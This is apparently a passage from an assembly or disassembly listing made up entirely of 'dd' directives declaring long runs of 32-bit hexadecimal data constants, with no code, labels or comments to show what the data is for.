		dd 0C5ABC52h, 4A2739C7h, 95E49AA4h, 5D5A3A7Eh, 1B4AD818h
		dd 136F0C8Ch, 0D06822ABh, 285C1202h, 7703EAC1h,	16F65C00h
		dd 46C019B5h, 43BA5731h, 0D50927E9h, 958EE9Ah, 6020507Dh
		dd 250A9C6Eh, 163875Fh,	7AB4046Bh, 55D42109h, 0DD2B2F85h
		dd 3F043FE8h, 0AF1A4F34h, 4ACDF8E9h, 0B5A46092h, 0D320DA4Bh
		dd 656B151h, 0FE39F180h, 0AB090AC1h, 0F5A114E9h, 69151598h
		dd 0F0BBC7A1h, 0DA5F4C68h, 0DFCD74A1h, 0E12B996Fh, 0BCAB0486h
		dd 5DC88420h, 96C60CB8h, 309FE325h, 91189347h, 2486A063h
		dd 827D8D62h, 2365E3CAh, 6992AAE8h, 638EE3Eh, 4521D9E2h
		dd 84675E7Ch, 0D6F7FF25h, 0B98CAA4Bh, 13590FB8h, 0C60B1FA7h
		dd 607B2D03h, 0CB293A24h, 4ED8D025h, 0BE4CC5EFh, 0E5B59913h
		dd 1D41FCD6h, 0DF2D8940h, 55667723h, 451FAF94h,	18F0030Dh
		dd 9D0C1930h, 0AADC8389h, 61827ECBh, 0C23F5C68h, 0A0BEC7FFh
		dd 536F6984h, 0F6820CD8h, 0F183CBFFh, 0BD9DE895h, 0E107D2C7h
		dd 48E26E87h, 216445D2h, 1BB6FB88h, 0F988E984h,	1C1123Ah
		dd 8BA3FD01h, 9A21CB97h, 3592B53Ah, 9EB13A18h, 0FDAADE02h
		dd 0F3682BB8h, 0DEBD3070h, 0B85B53E7h, 25751FE8h, 2ED6858Eh
		dd 17B20F40h, 7279BFFEh, 9A37CBC9h, 0B2A05F01h,	6F03BB5Ah
		dd 8A3E0B24h, 0AE870F1Dh, 86692933h, 775686Bh, 0D71B7CF5h
		dd 0AF7FB463h, 552D0DACh, 90566254h, 0A5D05BE3h, 2EE682C5h
		dd 4470E710h, 17ED205Fh, 14D80507h, 0B8503B39h,	4E273EF3h
		dd 21FD09h, 7EFF7F5Bh, 97A26AE9h, 0CF96674Ch, 0F960E200h
		dd 3FE1D147h, 76E080E9h, 0F607EEC0h, 0C6FED603h, 0F0AEB353h
		dd 4FE91DF3h, 59670B32h, 0C7D1A14Bh, 9AA53874h,	876A82E2h
		dd 0E964D4DBh, 674B897Ah, 5A2A3A58h, 0F9DDA854h, 3C60BF5Fh
		dd 0A370F181h, 12CD56F0h, 1683A407h, 807B2889h,	9E62C8A2h
		dd 4EF1835Fh, 29CA3757h, 236CC511h, 0AF8F580Ch,	0E9F98CD2h
		dd 6191F67Eh, 1EEDBB81h, 0C03F5C60h, 34196D84h,	982D5A02h
		dd 56998093h, 245427E3h, 0B77D410Dh, 58646830h,	8807B6Dh
		dd 0D7F7498Ah, 4A525130h, 26A97C46h, 0BAD8923h,	0CC55ECD2h
		dd 0A604A56Ah, 4F0110B5h, 5E85BDBCh, 0BDB530A6h, 0C4276E44h
		dd 283C7C15h, 57D14E0Ch, 8121AA2Ah, 16809172h, 0C9FE7BB1h
		dd 6812D9F6h, 0D63124BCh, 813BDEB4h, 0CCF1CCAAh, 0F4EC13ECh
		dd 0E906B166h, 9D31F61Dh, 23B8B2C3h, 909DE120h,	95F29409h
		dd 6815997Fh, 373311E5h, 2E32F15Fh, 0F34CF81Dh,	0EC3AD5Ah
		dd 49B668F4h, 0E00CC0DEh
		dd 74E947D9h, 0F2EF8AEBh, 4C9975Eh, 680513FEh, 42B3AE65h
		dd 0C92FC800h, 60E6811Ch, 0B7E5E1Dh, 56C2EE81h,	437E314Ah
		dd 2A6592D3h, 0C0B1CFEh, 5D57282Dh, 0C4954F1Ch,	88AA22DEh
		dd 59B52AEDh, 9878F2EDh, 0A1D1E064h, 78AF2ADBh,	76412769h
		dd 1EA2B020h, 0C806DF70h, 0DE256018h, 0AD3113E4h, 809740F5h
		dd 796241D5h, 553DFC32h, 64457FD3h, 0A2567B89h,	0AAE6B4EAh
		dd 6303CDBh, 16E22841h,	4B55158h, 0B29D0DD5h, 0F2808BAEh
		dd 0F074B0B7h, 0F3024B1Ah, 0B5BB0225h, 0CB449725h, 0E9919FD4h
		dd 66620659h, 6C70E305h, 0F5B4C067h, 940B692Fh,	0C0B3E918h
		dd 4BEB68D1h, 0CEA1A24Ch, 5974A9E9h, 17D92576h,	1604F525h
		dd 0E9D8B429h, 27079249h, 9F3BCC5Eh, 0E01DA259h, 0F6681DCBh
		dd 69527110h, 72BA1325h, 0BA530B4h, 467E496Dh, 1A849F5h
		dd 923DA96Bh, 0C4860ABBh, 0A8C580A0h, 0C112E435h, 0F605E526h
		dd 0A2E86180h, 636CE955h, 39F62BEEh, 0B201B7AFh, 9A71263Dh
		dd 5280EF81h, 0D8007922h, 33605E5Bh, 0DA6511DCh, 90017C50h
		dd 0C3076042h, 0DDF65BFDh, 7AB4665Eh, 0F0C5E8EAh, 26D2F858h
		dd 1346D586h, 7816FA51h, 0BAE2CCBCh, 0D5BF9E98h, 0DA3326CBh
		dd 8B3C2A77h, 0BED695B3h, 0C6CE851h, 79D1B050h,	6B1224EEh
		dd 581B41D2h, 932AE80Dh, 416FD69Fh, 88783654h, 3E6AAF5Eh
		dd 1A0CD5AEh, 0FE895F29h, 3784D680h, 0CAF2204Dh, 8836FB0h
		dd 31C80C05h, 58ED6DF1h, 0CA2FE742h, 0C1082D04h, 6E22BCh
		dd 70EA8058h, 0DC7EBD8Dh, 7898588h, 656CFABDh, 78870003h
		dd 4254F12Ah, 0A91CE916h, 68949CABh, 1802762Dh,	9F7E1A95h
		dd 10090BFBh, 2EE5D2ECh, 0C1536F5Eh, 41D50FA2h,	84EBDACBh
		dd 43779883h, 0E0F55182h, 9F3275B2h, 8C4B6178h,	295D6F01h
		dd 5F4192C2h, 8972F522h, 0BDACF001h, 0F4CE297Dh, 0B0955B50h
		dd 977178ECh, 9E0985CAh, 5B9AF474h, 4CB50054h, 1322B265h
		dd 97932BE9h, 0EF576127h, 28686033h, 34D82D00h,	3E10C405h
		dd 17E91870h, 8ACB2D01h, 217B2C7Ah, 0F5DD7D24h,	67EC3492h
		dd 87F4F9D3h, 92DFA31h,	6F8823Fh, 14819B60h, 0B82DF426h
		dd 0CBB10D0Eh, 659261C8h, 0EA5B4F2Ch, 4C66EA6Ch, 0A224805Bh
		dd 23C82F50h, 4200B2E5h, 51534A21h, 18701F68h, 6859185Dh
		dd 432703BAh, 0DCAB0BF6h, 56680538h, 36CF337h, 4E632693h
		dd 4B260629h, 226746E9h, 2B275D95h, 0EA8D5081h,	93CB89Ah
		dd 31E98BF8h, 5FE57DB2h, 80CE2DBFh, 1055F5Ch, 3CF40FAEh
		dd 0B2A5C689h, 5CA6B4BCh, 5C71742Ch, 42F4EF02h,	9C9F43B3h
		dd 0FE4FAFFCh, 0C5845833h, 0E266EAE7h, 0D2950D3Ah, 909BF77h
		dd 5A98515Dh, 50DDF25Fh, 26E9B58Fh, 0AA8E570Eh,	3E740929h
		dd 6B055EE1h, 530FA0CAh, 19882EB3h, 330D002Eh, 352CDD73h
		dd 80170318h, 8269F2B8h, 0D9BD41FFh, 1B2A02Fh, 99B6F55Ah
		dd 9942B04Ah, 8F405281h, 7C705FCEh, 0A833776Dh,	24B7E6F8h
		dd 82644A45h, 0D522ADFh, 2CDC5657h, 80E80BE6h, 0EAD7E2CAh
		dd 7E7240FDh, 0BC3D5A63h, 1B00294h, 69295CBDh, 7980E178h
		dd 0F82B31BAh, 0E258C133h, 0BB6C11A7h, 6001C311h, 0B671EC0Ch
		dd 0A0709773h, 709BAEC7h, 0EFE14435h, 1638E27Fh, 0AB4DEE9h
		dd 7164391h, 5253BDB2h,	0EDB39740h, 31EB0E80h, 0C3AED328h
		dd 0FF085AACh, 522EF679h, 1409DEB6h, 0EE5CDAFAh, 7010058Fh
		dd 0ABC82120h, 0BB4E2ACBh, 0BB5B409Eh, 27E9FB38h, 0F46898DCh
		dd 9A3CD6BAh, 0CE893AF2h, 0BB134934h, 0E9133DFCh, 8421874Ch
		dd 0DDCBAA29h, 1A0FBC5Bh, 572655DEh, 68041A4Fh,	37A37435h
		dd 0A74E014Fh, 2957BF6Ch, 0CE98AB7h, 7758510Bh,	798E5E6h
		dd 0E3CC9D4Fh, 7E384114h, 68281CF4h, 6FA21077h,	949BA844h
		dd 849BFCDFh, 0BF171BEAh, 402895D6h, 0F30ABB98h, 977C2D61h
		dd 2B18990Fh, 170C5637h, 0E3EA00F7h, 71F64CDCh,	0ECA7D595h
		dd 7476780h, 5BC157E1h,	705BE28Fh, 0E913E3FEh, 37A20F9Eh
		dd 7079E501h, 214D7CEFh, 0CB32D0F1h, 0EA293F05h, 0AC05E5Dh
		dd 2E2E9FB9h, 27C1DADh,	7B2F4990h, 0CEF40ED5h, 180F8181h
		dd 0C9D83776h, 0BB5A165Bh, 4A4EAF1Eh, 604401A0h, 9C6BC5E9h
		dd 935E1483h, 803734ABh, 1341065Ch, 0D7012704h,	0A9BFB8E9h
		dd 54A20413h, 0FC831887h, 2949A159h, 71EAF02Eh,	4FB01A5Eh
		dd 82E29404h, 0E177C988h, 20E9FFC0h, 8FBAE44Bh,	0CF680931h
		dd 204FE669h, 3B98D1BDh, 1ECA8107h, 8337EA0Eh, 0C00134h
		dd 4E8CC11Fh, 0AF1BE1D2h, 39F1AFBAh, 7A2C02BAh,	17B8F05Bh
		dd 2F837A1Dh, 6F172EFh,	526DEF35h, 68BD6E49h, 0BF38770Ah
		dd 12279DF3h, 0BD60F7F0h, 556C1AA8h, 5AE666E8h,	0CF42F85Dh
		dd 86ED455Eh, 0CBCE5DAEh, 0EC518235h, 774AC889h, 7F693896h
		dd 25F38029h, 0ED0210F2h, 252161D0h, 0A5C5932h,	5AB9B2Dh
		dd 5A548C2Ah, 35D0020Fh, 0ED828F5Bh, 0E55DA16Dh, 0E8280B1Ah
		dd 72F70627h, 2C59C838h, 0D56A9742h, 45E6E2AEh,	0C5907112h
		dd 0E8E0162Fh, 4A7EFE0Eh, 3313BAD1h, 0AE5ADFB7h, 69F8C27Ch
		dd 0EAD78D6Eh, 288E04D3h, 0F9305A03h, 917693E7h, 65F134Ch
		dd 134D1164h, 54E8080Ch, 891D06D0h, 2535AB8Bh, 81AC273h
		dd 814090Ch, 542520EAh,	0E0222585h, 979AA7C9h, 4F55DA57h
		dd 3BCFE181h, 0E90A9C9Bh, 989299A9h, 7E864FBh, 1028ED5Ch
		dd 0BA276189h, 78A7BC5Ch, 13D8CE4Bh, 68A6D8D7h,	1954B027h
		dd 96A4813h, 6AD95329h,	3B106840h, 0E97909E8h, 0B0799E37h
		dd 199B943Eh, 0E4FBD2BEh, 0E107C082h, 4BF18006h, 930CB3Eh
		dd 0CAF60243h, 0C55D055Eh, 8765FF28h, 0AD6DEAAh, 4C5A4A68h
		dd 15FEBDBDh, 4A0A5692h, 0A94987BBh, 59F834DCh,	0DF44BF69h
		dd 8B09B41Ch, 3F3C133Eh, 9A5E2FCh, 8F685E74h, 303D2ADCh
		dd 220C9601h, 875A91F3h, 90AAC5DEh, 0A1685F1Dh,	0DD096A9Dh
		dd 5217C21Ch, 0C649D0E9h, 0F672E429h, 8D664FFBh, 9ADE43FBh
		dd 5568028Ch, 0B823A028h, 17583CB9h, 84BFE96Ch,	26CBEA7Fh
		dd 0B16F4454h, 52330944h, 317B1D20h, 0DC9F64EBh, 96F50B0Bh
		dd 0B0FEC8D7h, 897E2C75h, 2B123F06h, 0BF2A528Dh, 0A9689780h
		dd 198955Ch, 0ED0621E7h, 0F7555D77h, 5F2A3079h,	0C8436ABFh
		dd 35584E01h, 3B5207DAh, 7A187328h, 51E59D0Ah, 23D80282h
		dd 68530042h, 23C4474Dh, 81E913AAh, 0FF53598Eh,	48C4E323h
		dd 524BDA43h, 0CD0F129Ah, 0DB22DA6h, 67F6685Dh,	81C94120h
		dd 7EF2D954h, 0FD5E0EA8h, 0D35685ADh, 612AB3EBh, 3098B378h
		dd 95866330h, 585EC05Ah, 7FB769AAh, 1057D62Ch, 1249D8E9h
		dd 0F4AAD687h, 82053825h, 0F009DC9Bh, 393EC604h, 0B52FCFB5h
		dd 6C51ECEFh, 31C098AAh, 260FF87Ah, 245480BDh, 66F93163h
		dd 73101201h, 70D5F774h, 0DE9FD41Ah, 4B65CFC0h,	0D647FBF4h
		dd 663008BAh, 2D424A25h, 0F456DAF7h, 0BF7522Dh,	1BB01761h
		dd 95E02FDh, 0E04657D8h, 4E89E958h, 7EF639FEh, 0B53A1A39h
		dd 31992EBBh, 34B5673Eh, 9EAB102Ah, 8B26AA7Eh, 3BFFCE12h
		dd 6B5D04EAh, 0BEDDFA15h, 0AFD36338h, 0CE62018h, 0BF4DEA10h
		dd 642158C8h, 0B004E8B5h, 0B7C5E00Dh, 77A71C74h, 58C7D802h
		dd 80842EC1h, 5C9CA7Dh,	7D877BEBh, 2362DF2h, 2D4294D4h
		dd 0B695295h, 1D8D336Fh, 61021F8h, 0D3075AABh, 0C008774Fh
		dd 8D2413F3h, 0D60C7860h, 546BAA45h, 0BE5E509h,	29286214h
		dd 0FEDF083h, 89950E78h
		dd 6196FD70h, 28C58002h, 23FFE830h, 0B90288CFh,	1E7797F1h
		dd 0CAF7C00Ch, 733D2E78h, 0A3F902B6h, 487C7F69h, 2F97F42Dh
		dd 42986848h, 0D5098E27h, 45681021h, 64CC2E25h,	0F59641F3h
		dd 3B37BE0h, 5885523Ch,	9879DE3Ah, 0B2F85AF2h, 0E4E659Dh
		dd 32E5C8BBh, 6931630h,	0C5658B8h, 72543F01h, 6642E97Eh
		dd 5958223Ah, 0CB30B0F7h, 614E2F37h, 0FAB89E78h, 32BD6812h
		dd 0D2D02FF2h, 5418A306h, 6B9F0C7Eh, 0A7F8051Dh, 5F36460Fh
		dd 9808A884h, 77D44877h, 904F0BDEh, 799087EEh, 3FB6854Eh
		dd 129D6210h, 34068851h, 2C94E7h, 5C5B792Dh, 50AA053Ch
		dd 0E2312A27h, 9E855F10h, 0CD87FE84h, 4212E960h, 0FA614E8Dh
		dd 25080A10h, 643AF55Eh, 0BDFD65F7h, 0F7ADD0B3h, 95A8CAD0h
		dd 3BCFEEC0h, 41012F2Dh, 0A80804FBh, 90F94A2Eh,	0B3091AF6h
		dd 0EA432118h, 53080915h, 69C70BECh, 0DCD6DCA6h, 0F09567Eh
		dd 0D7148B7Ah, 6841E471h, 0A22F0191h, 5F87D046h, 554B9E5Dh
		dd 28F10F2h, 0FEDD12F6h, 758709C5h, 0E0B9027Dh,	0A8677740h
		dd 7DBF6802h, 54725D93h, 50DAE92Fh, 0B03CB520h,	593DE20h
		dd 32687DB2h, 8BFE4557h, 0C2B3B8ACh, 40255399h,	418F132h
		dd 217D161Bh, 96D1BCC8h, 580C625Eh, 0A1DE7941h,	982ACA97h
		dd 0D440239Ah, 803E984Eh, 5999DBCh, 0CD68CF58h,	864AD92Ah
		dd 0E7178852h, 0CDDD2A5Ah, 0B768164Ah, 8972B918h, 0F5DE42F3h
		dd 9FC2FDC8h, 1C96CE14h, 0FEB94AD7h, 6BD7F197h,	1089FBF9h
		dd 0F2201FF2h, 0E055764Dh, 0B412BF5Bh, 506A7155h, 51BC9BE9h
		dd 3F8B911Dh, 5B22FA6Eh, 0E673E4FCh, 78B3719Dh,	1999AA73h
		dd 45B5BCA0h, 74128854h, 0C64EFF20h, 89A41F13h,	9A681358h
		dd 0A473A920h, 799A8C2h, 0E8D96451h, 29EE4BB5h,	6EF72A80h
		dd 4F765A11h, 0A5F1CEECh, 0E3C00010h, 0C3801206h, 0A81EAB62h
		dd 0E9A7816Dh, 0A96B71D4h, 9655C8BFh, 4BD5EF5Dh, 9B0F82EAh
		dd 5A5D3C4Ah, 288A70CAh, 9A543BAh, 406D43Eh, 3444F355h
		dd 6E9CC142h, 0F3A86AAEh, 0A2F1F084h, 0BD55014Eh, 37E36E27h
		dd 0C0684AF9h, 0BA482934h, 4711901h, 96816D93h,	780BCF35h
		dd 6C589866h, 685C5C7h,	89390E2Dh, 905BCAEFh, 0B72367FEh
		dd 0E67FFBD1h, 390B9723h, 30AFB02h, 518EC7F1h, 4B06421Ah
		dd 0FC504250h, 31C95341h, 348BF0F0h, 2457A9Bh, 0A20B98AFh
		dd 0BBA2840h, 2F686D5Ch, 589D1081h, 0EAB0E7B5h,	572C0DA1h
		dd 0E985492Dh, 20FA78B8h, 40478F66h, 72C5B49Ch,	0E4E05D0Ch
		dd 7968805Fh, 0D6B76C70h, 14DDC90Fh, 53F6B570h,	0DD0BC5A0h
		dd 5E49111Dh, 0F52103EEh, 4B3B9DE9h, 0BD5A1659h, 2AEB89EFh
		dd 8253F9CAh, 69399E25h, 1694EC53h, 62334C2Dh, 0B3C74013h
		dd 69F8BFCCh, 4943D1B7h, 739CE95Eh, 0B9D979F3h,	837979AFh
		dd 0B64B504h, 0F9868207h, 0CDA9E1h, 0F016EB80h,	14F9EB0h
		dd 7525F4B9h, 0F0AC303Ch, 90FE0DD7h, 69A9E9F6h,	255CE697h
		dd 0E65B4BA7h, 4EE4D43Eh, 0C440D351h, 1C5EAB45h, 4B00EC16h
		dd 2C843FBAh, 0ADF64BE9h, 7DF71749h, 4A0BE8F4h,	0D461BEA7h
		dd 0AC6E9A2Ch, 39BEA561h, 0BDF1C80Ch, 5E9EAF9Eh, 7A0EB68Bh
		dd 4B93FE15h, 1282A3A1h, 0F8F6595Ch, 10DCC302h,	0DFE1317Ch
		dd 57E26E2Dh, 0F2989D12h, 0FE5885h, 39115CB7h, 2F9482BBh
		dd 0EFC9A5Fh, 90C5860Ah, 1A1DCA8Bh, 7BF0BBh, 0C5CD3558h
		dd 0C601DAA8h, 13BB36F1h, 13FB4DE9h, 30378A42h,	138D7651h
		dd 0B9500122h, 379C48DEh, 37C17B31h, 0E49059CEh, 135F3BA6h
		dd 78B7A4F9h, 99422927h, 22A9FFh, 5715E25h, 6C350452h
		dd 0BB679A7Bh, 6902FBDh, 6ED90993h, 0BF02C5D7h,	0B3D44B70h
		dd 0BD0BD3DCh, 6AB6D1E6h, 6C3D04B2h, 0A0C0EFD9h, 4C405938h
		dd 0FE173323h, 66CAAF4Fh, 0C4595548h, 482E1948h, 26C58C75h
		dd 6941AA1Fh, 0FA4B842Fh, 0B9960C69h, 5CD4E038h, 897FFC9Dh
		dd 0D15765CFh, 27C96FCBh, 7F95E3F8h, 5230649Eh,	0CFEE234Ch
		dd 0BD477E2Fh, 9C63305h, 0F7075D08h, 4659C36Bh,	0DC10EAFCh
		dd 53FC4F08h, 0B0D75E2Fh, 4A43E98Fh, 0C625E893h, 6103E9Bh
		dd 0F662F380h, 7000AD3h, 665BD988h, 95517E68h, 338775FCh
		dd 0ECCAE120h, 50F70267h, 1A0CFFD7h, 90C07458h,	0B353000Bh
		dd 30F2B667h, 0F1E65BDEh, 0D771E917h, 0F0C866C4h, 59529C5Eh
		dd 579D2CB7h, 0AEBA2721h, 0A5CDCB5Ah, 0BC9C5CD0h, 6F299D82h
		dd 0B7922F22h, 740F6CC4h, 6B4E8756h, 0D68CA9AEh, 4C460843h
		dd 0D0458F68h, 902944BFh, 10F7F337h, 5A121A0Eh,	5A63AF55h
		dd 0BE7F0378h, 43064560h, 7F71E3D1h, 0E3527D72h, 4FDFBCFh
		dd 0E10DF92Fh, 86F3B862h, 7B9A4EDh, 22B13E3h, 0C1EB6435h
		dd 70C24A2Fh, 0FE9FB03Ch, 74314245h, 24787DABh,	7727C20h
		dd 4570482Dh, 95A8A41Ah, 5C37BDA7h, 6F9F708h, 69FB8C96h
		dd 0CED2B0E3h, 275047BFh, 37637ED9h, 0E93BE065h, 6F90415Dh
		dd 4B30C8B0h, 0E9DD7594h, 5101741Eh, 0E9488405h, 0F33FB770h
		dd 57C9C0E0h, 0B0631C75h, 36AE0943h, 6AA4482Ch,	5E9DD356h
		dd 4DC180F7h, 0E6E8799Ch, 2060362h, 7E1D4046h, 0FD8A044Ah
		dd 1698F8E9h, 8D164512h, 1F7353A9h, 12C2D5A5h, 5EE7A6C8h
		dd 7DEE3EC5h, 0F7D2DDDh, 13B05305h, 0AACA4F0Bh,	0C00FBA5Eh
		dd 5414DAE3h, 4E772728h, 47AB66Bh, 0C8B5EEE9h, 5D4BF5D3h
		dd 5CC904ACh, 49AA3508h, 1866801h, 3BE5EDECh, 12BAAF12h
		dd 1616B96Ch, 0A004E829h, 0BF00DFDBh, 47F95661h, 59B522BAh
		dd 4F5528C0h, 0BA1917F1h, 9360599Dh, 0C5D9977Eh, 605A4126h
		dd 2D9FA216h, 49821AAEh, 0D9DDB215h, 0A5AE4F87h, 0E4D38BCh
		dd 372DAAB4h, 452DC100h, 48D8B825h, 47201B30h, 0A8E6E180h
		dd 661A4114h, 93913AF8h, 0B0011568h, 3A99F6BAh,	7EEC7B21h
		dd 0EF254BB4h, 408D310h, 6299685Eh, 0E9ACF092h,	0E22B5A42h
		dd 777AC7F7h, 90465D09h, 9D497E9Fh, 0B6C2EFE9h,	64DDE7Ah
		dd 12D260Dh, 44AFED0Fh,	0DFB44E7Dh, 787445F1h, 0C2DE2F1Ch
		dd 56E77DC8h, 1D843033h, 0CBD1213Ch, 905D7F1Eh,	3D9EEE47h
		dd 0FD59584Dh, 0E779E909h, 0E2050C20h, 0D3907A36h, 702304Ah
		dd 0DF03FC68h, 822059C5h, 2F684740h, 7B98624Eh,	5781ED7Fh
		dd 0ABE9817Bh, 0BD108162h, 557A2150h, 9C72F42Eh, 0AAF44216h
		dd 2FBDA784h, 55946882h, 925174A7h, 4A54577Dh, 0A394DFD2h
		dd 0D684E913h, 6267E098h, 1538DBFEh, 3F4034C4h,	59E998B4h
		dd 30C46EE2h, 419AEFD0h, 0CE13134Dh, 783DA26Ch,	90412120h
		dd 0D336FEAFh, 3BD5B187h, 892F26A8h, 7727AF74h,	0D1BD01BCh
		dd 68A0CC85h, 0B9B09B4Eh, 765BD54h, 8E1CE984h, 532CCCFEh
		dd 7791CEABh, 0FB682A28h, 8B3E24E9h, 0D2D69DFFh, 0B87BE05Eh
		dd 0F713A100h, 3CF3564h, 0E0167F46h, 0BB6EB578h, 0D690F8C9h
		dd 26046F7Bh, 2CF7CA65h, 87245080h, 24674F08h, 0BF570B74h
		dd 29E8A9FDh, 0E4B0FD7Ch, 6C3B82EEh, 8292DD0h, 5A090864h
		dd 72D47456h, 0B032367Ah, 762DE532h, 84B10B9Bh,	803C01D7h
		dd 0F1CCF0E1h, 9D7ABD4Ah, 7F91762Fh, 9970BB38h,	0C7D7F780h
		dd 0FFE7C104h, 0CC78528Bh, 0A51540BFh, 462F3761h, 0CB5DD00Ch
		dd 0CA6489A9h, 17ACBD58h, 81681676h, 161DF61Fh,	0C9F9B9E9h
		dd 0E58EA25h, 9837B89Dh, 62AF965Ah, 65567942h, 2354F3BFh
		dd 0F77A660Fh, 0B3FE7B8h, 68CFA70Ah, 0B0DFB31Eh, 0C3FEC73Fh
		dd 32770B9Eh, 8A0D14Bh
		dd 0B82059E0h, 0DE6E6C0Bh, 0A8F5F92h, 0C04A4976h, 930B52F6h
		dd 8915D1D6h, 794E8FAEh, 0BCBF0F2Eh, 0B0139909h, 81449520h
		dd 5A30DB01h, 20C3757Ah, 1F172791h, 0BA0AC850h,	0BB8A0FB5h
		dd 13118F0Eh, 68D2CCEEh, 0D979D72Eh, 42DA7C2h, 7CACBE58h
		dd 9502FAD2h, 0C864E957h, 2A6853FFh, 5DF6512Ch,	376A965Dh
		dd 94E9582Ah, 2980039Fh, 0B6C0B9EAh, 84A6C42Ch,	5AA8709Fh
		dd 146BFDDh, 0BCEFEC4Ah, 49752592h, 0E02E667Fh,	6440C106h
		dd 36BC9897h, 865D734Ch, 0B63BE033h, 1B68F058h,	91B3C571h
		dd 0A453FC67h, 0A97AB8BAh, 12EBBD6Eh, 42F26895h, 0BB2EFD84h
		dd 2060E7D9h, 0BDBB4019h, 285FBF03h, 2C58355h, 5437EDA6h
		dd 8C8E2C51h, 682A8893h, 0D846A05Bh, 28D74E50h,	7B8F5FCEh
		dd 0FCA23267h, 0DB52ED17h, 18EDC0BFh, 5A069CFAh, 0A1699104h
		dd 7AB02316h, 0E829F92Fh, 7ACB8010h, 7FD42D8Ch,	0D3A79A59h
		dd 9AA53B06h, 5698E8FBh, 285D2C24h, 71D63E73h, 0C168808Ah
		dd 84367B49h, 59090802h, 90BE252h, 806AD00Dh, 0DF54EC2Ch
		dd 417895AEh, 0B3B2D733h, 7872B9DDh, 0EB34302Eh, 0EE3F40A0h
		dd 57A31628h, 5B0ED3CCh, 0F774ABC2h, 0A9A29694h, 1458F2C9h
		dd 0C61807Bh, 0FD309806h, 97F3BF5h, 6D71599Ah, 0E6369962h
		dd 0EE68165Ah, 42DE30Ah, 7BFC6778h, 81A185AEh, 41D5D5Bh
		dd 0F0AA1684h, 0A1B15B09h, 71C7A6Bh, 754274B3h,	215C4901h
		dd 0E9090C68h, 6880A11Fh, 19331645h, 3D1ACA40h,	0B9849107h
		dd 0AB973274h, 7F011A82h, 7B494B66h, 0E3B81D02h, 0D14B6042h
		dd 4EE382E0h, 0F446DD5Ch, 0D027B174h, 25B56445h, 0CF5F6946h
		dd 5B4B28FFh, 4E07E35Ch, 0BB9673ECh, 4B6741C1h,	0E0F7FE02h
		dd 0BD28ECF9h, 0F0546E8Bh, 0DC21D76Bh, 88367B68h, 1DBA435Dh
		dd 243F8B5Ah, 6881987Ch, 6C156227h, 3F60220h, 3A757B6Eh
		dd 1003EED1h, 7C4F45CBh, 496FE56h, 14DF0493h, 20818258h
		dd 152DECF2h, 4C24659h,	11C621A1h, 38FDAE29h, 98DBC700h
		dd 0C9E96F52h, 0C1DB8262h, 9ED45758h, 0E4E8F7C4h, 4E715D05h
		dd 5621C587h, 8871F4B7h, 8A405398h, 0E1DD4B87h,	5503928Ch
		dd 175D422Ch, 0FCD5F75Bh, 0CCE9C7C6h, 8B8E5489h, 50D67AD6h
		dd 5FE90278h, 688902ECh, 69547314h, 3D7A0A60h, 0CC296250h
		dd 3CA97E9h, 0B4700D7h,	0B8424069h, 0A6629705h,	4BF2BCD7h
		dd 0E235BF5Ch, 3DBC3485h, 20B55928h, 0BD002A46h, 72437393h
		dd 0D497F581h, 522E060Dh, 2CEC838Dh, 942DE330h,	0FD4E0B46h
		dd 109428B6h, 9C462C0Ah, 0BC1FC66Bh, 6E684127h,	0F97DC20Fh
		dd 0BE1CA69h, 94C48AF4h, 6257C1F1h, 0FA2984E2h,	5A268C7h
		dd 9C41D72Fh, 0B6136E34h, 4B8F37A3h, 5D777590h,	256ECFBFh
		dd 53F1C4F4h, 882ECC78h, 4A2A97D4h, 25A231ECh, 0E08089D8h
		dd 0F11E178Bh, 76AF0124h, 0F7BE58FFh, 0A80A0C92h, 0B838AE0Ah
		dd 4951DF09h, 2FCBD1E9h, 5307A665h, 8D66AB31h, 1A8F682Dh
		dd 0A20C01Fh, 968C4825h, 0B4B1B817h, 0D124D6Dh,	0E3EAFC78h
		dd 1DC01C6Fh, 9F30F725h, 77A0F821h, 0B880609Dh,	861F042Dh
		dd 84C6095Ah, 25E0FC7Bh, 25149659h, 12011968h, 95F384E9h
		dd 5BC230E9h, 6A1929ABh, 0F2BB3B34h, 1796C1B6h,	0D87F5828h
		dd 17CB9202h, 2D648031h, 753809E2h, 69A7016Dh, 0F001211Eh
		dd 68074005h, 109E1F34h, 0A9AE5764h, 42BF4B58h,	9947315Fh
		dd 0E95EDCF0h, 0BA52B931h, 4FE4A86Ah, 2EE987B4h, 0BBF24466h
		dd 0F3FCA513h, 6BA3500Ch, 2202C182h, 0C027C3CCh, 0EBC07C06h
		dd 0DB4CF604h, 0C4802CCh, 60102CF1h, 173058D0h,	85FCE9D9h
		dd 0F49DFFCFh, 0C0BE6BF4h, 3BF1B91Ah, 0F394737Eh, 90EB2117h
		dd 603629D9h, 7A56813h,	25DF638Ch, 190071E9h, 0E10D84BDh
		dd 4AAB6348h, 2FE94BF4h, 672DEA8h, 162A5F09h, 88270057h
		dd 9826D8CEh, 0BE10EED3h, 0C62C14B7h, 4E81Dh, 663AB252h
		dd 8B4EB753h, 0FEB5C1BEh, 0C9B232CAh, 5DC90BB7h, 2C0A4046h
		dd 9C39E923h, 0BCE5898Ah, 0C17D8507h, 29796851h, 75FC326Ah
		dd 0C2819C76h, 693E2ABAh, 1F36DEDh, 0BB49C317h,	2B2921FAh
		dd 0B924CFDh, 0EBF243D2h, 64916AF5h, 0C002D291h, 340811DCh
		dd 88590935h, 27D796DFh, 9A8395E9h, 8CB9D601h, 0E6A76E79h
		dd 0EED0F02Fh, 0C4C48D4Ah, 84EFE3EBh, 0B5AC3E4Eh, 0B281AFC4h
		dd 12F24CABh, 0F6A46DD6h, 0AA141EE4h, 2785C93Ah, 65C1659Bh
		dd 2DA736EEh, 0BBECE17Ah, 0D8B6C83Bh, 685A5B06h, 37C91312h
		dd 645DA1CDh, 95FDEE07h, 7B312206h, 10F0C53h, 9C9DEFC5h
		dd 0B27199C5h, 0DDBA7782h, 0D9F7B3EAh, 55956222h, 0F3D8F0D4h
		dd 0C2B1CBCEh, 0A8E030DCh, 209662Bh, 61DEE781h,	8472755Eh
		dd 0D4EF872Ch, 582D8B28h, 67C8D638h, 9EF509BDh,	8A49C22h
		dd 7C273FA6h, 0A94E47FCh, 162D5B5Dh, 0F850FE2Dh, 93CC50E4h
		dd 9FFE6880h, 540A66D3h, 0BF82736Ah, 802A0FE3h,	0F41DBB9Dh
		dd 0E9840BD5h, 0D94401C6h, 5AF416E2h, 0F72514B4h, 558203EDh
		dd 90276668h, 1610832h,	0CF814E30h, 31A10280h, 53896018h
		dd 89782C16h, 0E94B60BAh, 21919709h, 574A102h, 0EA8AD05Bh
